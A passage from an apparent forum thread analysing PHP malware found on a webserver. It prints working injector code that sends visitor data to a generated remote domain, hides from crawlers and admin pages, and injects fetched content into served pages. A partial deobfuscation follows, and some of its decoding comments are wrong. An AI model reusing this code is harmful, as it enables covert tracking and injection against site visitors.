    function cqq($qw) {
        return random($domarr,$qw);
    }

    function en2($s, $q) {
        $g = "";
        while (strlen($g) < strlen($s)) {
            $q = pack("H*", md5($g.$q."q1w2e3r4"));
            $g.=substr($q,0,8);
        }

        return $s^$g;
    }

    function random($arr,$qw) {
        $arr = str_split(md5($qw.gethostbyname("stat-dns".$qw)), 8);
        return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
    }

    function g_1($url) {
        if (function_exists("file_get_contents") === false) return false;
        $buf = @file_get_contents($url);
        if ($buf == "") return false;
        return $buf;
    }

    function g_2($url) {
        if (function_exists("curl_init") === false) return false;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $res = curl_exec($ch);
        curl_close($ch);
        if ($res == "") return false;
        return $res;
    }

    function g_3($url) {
        if (function_exists("file") === false) return false;
        $inc = @file($url);
        $buf = @implode("", $inc);
        if ($buf == "") return false;
        return $buf;
    }

    function g_4($url) {
        if (function_exists("socket_create") === false) return false;
        $p= @parse_url($url);
        $host = $p["host"];
        if(!isset($p["query"])) $p["query"]="";
        $uri = $p["path"] . "?" . $p["query"];
        $ip1 = @gethostbyname($host);
        $ip2 = @long2ip(@ip2long($ip1));
        if ($ip1 != $ip2) return false;
        $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!@socket_connect($sock, $ip1, 80)) {
            @socket_close($sock);
            return false;
        }

        $req = "GET $uri HTTP/1.0\n";
        $req .= "Host: $host\n\n";
        socket_write($sock, $req);
        $buf = "";
        while ($t = socket_read($sock, 10000)) {
            $buf .= $t;
        }

        @socket_close($sock);
        if ($buf == "") return false;
        list($m, $buf) = explode("\r\n\r\n", $buf);
        return $buf;
    }

    function gtd ($url) {
        $co = "";
        $co = @g_1($url);
        if ($co !== false) return $co;
        $co = @g_2($url);
        if ($co !== false) return $co;
        $co = @g_3($url);
        if ($co !== false) return $co;
        $co = @g_4($url);
        if ($co !== false) return $co;
        return "";
    }

    if (!function_exists("comgzi")) {
        function comgzi($gzData) {
            if (substr($gzData,0,3)=="\x1f\x8b\x08") {
                $i=10;
                $flg=ord(substr($gzData,3,1));
                if ($flg>0) {
                    if ($flg & 4) {
                        list($xlen)=unpack("v",substr($gzData,$i,2));
                        $i=$i+2+$xlen;
                    }

                    if ($flg & 8) $i=strpos($gzData,"\0",$i)+1;
                    if ($flg & 16) $i=strpos($gzData,"\0", $i)+1;
                    if ( $flg & 2) $i=$i+2;
                }

                return @gzinflate(substr($gzData,$i,-8));
            } else{
             return false;
            }
        }
    }

    function k34($op,$text) {
        return base64_encode(en2($text, $op));
    }

    function check212($param) {
        if(!isset($_SERVER[$param])) $a="non";
        else if ($_SERVER[$param]=="") $a="non";
        else $a=$_SERVER[$param];
        return $a;
    }

    function day212() {
        $a=check212("HTTP_USER_AGENT");
        $b=check212("HTTP_REFERER");
        $c=check212("REMOTE_ADDR");
        $d=check212("HTTP_HOST");
        $e=check212("PHP_SELF");
        $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb");
        if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) {
            $o1 = "";
        } else {
            $op=mt_rand(100000,999999);
            $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e)));
            $url="http://".cqq(".com")."/".$g4;
            $ca1=en2(@gtd($url),$op);
            $a1=@explode("!NF0",$ca1);
            if (sizeof($a1)>=2) $o1 = $a1[1];
            else $o1 = "";
        }

        return $o1;
    }

    if (!function_exists("dcoo")) {
        function dcoo($cz, $length = null) {
            if (false !== ($dz = @gzinflate($cz) ) ) return $dz;
            if (false !== ($dz = @comgzi($cz) ) ) return $dz;
            if (false !== ($dz = @gzuncompress($cz) ) ) return $dz;
            if (function_exists("gzdecode") ) {
                $dz = @gzdecode($cz);
                if (false !==$dz ) return $dz;
            }

            return $cz;
        }
    }

    if(!function_exists("pa22")) {
        function pa22($v) {
            Header("Content-Encoding: none");
            $t=dcoo($v);
            if(preg_match("/\<\/body/si",$t)) {
                return preg_replace("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
            } else {
                if(preg_match("/\<\/html/si",$t)) {
                    return preg_replace("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1);
                } else {
                    return $t;
                }
            }
        }
    }

    ob_start("pa22");
}

Answer 4

After you have done Fiasco Labs' answer and made it so mean people cannot edit the files on your webserver...

Perusing the code you have, skip down past the "functions" and the first real thing that happens is create_function is run on the str_rev of variable $svv with 9's replaced with " ".

Running this code:

$svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}';
file_put_contents( "hk_strrev.php", strrev($svv));

and then removing the 9s and adding a little formatting:

};functionen2($s,$q){           
$l="\x73\164\x72\154\x65\156";  // strlen
$p="\x70\141\x63\153";          // pAcS  or "܊ck"
$r="\x73\165\x62\163\x74\162";  // substr
$m="\x6d\144\x35";              // mD5 
$g= "";

while($l($g)<$l($s))
{
    $q = $p("H*", $m($g.$q."\x71\61\x77\62\x65\63\x72\64")); // "qawbecrd" or "qbed"
    $g .= $r($q,0,8);
}
return $s^$g;}//

I used the site https://hackvertor.co.uk/public to do a hexstr decoding of the \xx chars. The variables are names of functions. I'm pretty sure the 2nd one would be pack().

The code here is all about obfuscating the actual code via varied formatting techniques. I didn't bother to research anything more than this first function.

The end goal is likely a call to their website for some malicious purpose, possibly injecting their code into the content of the displayed page.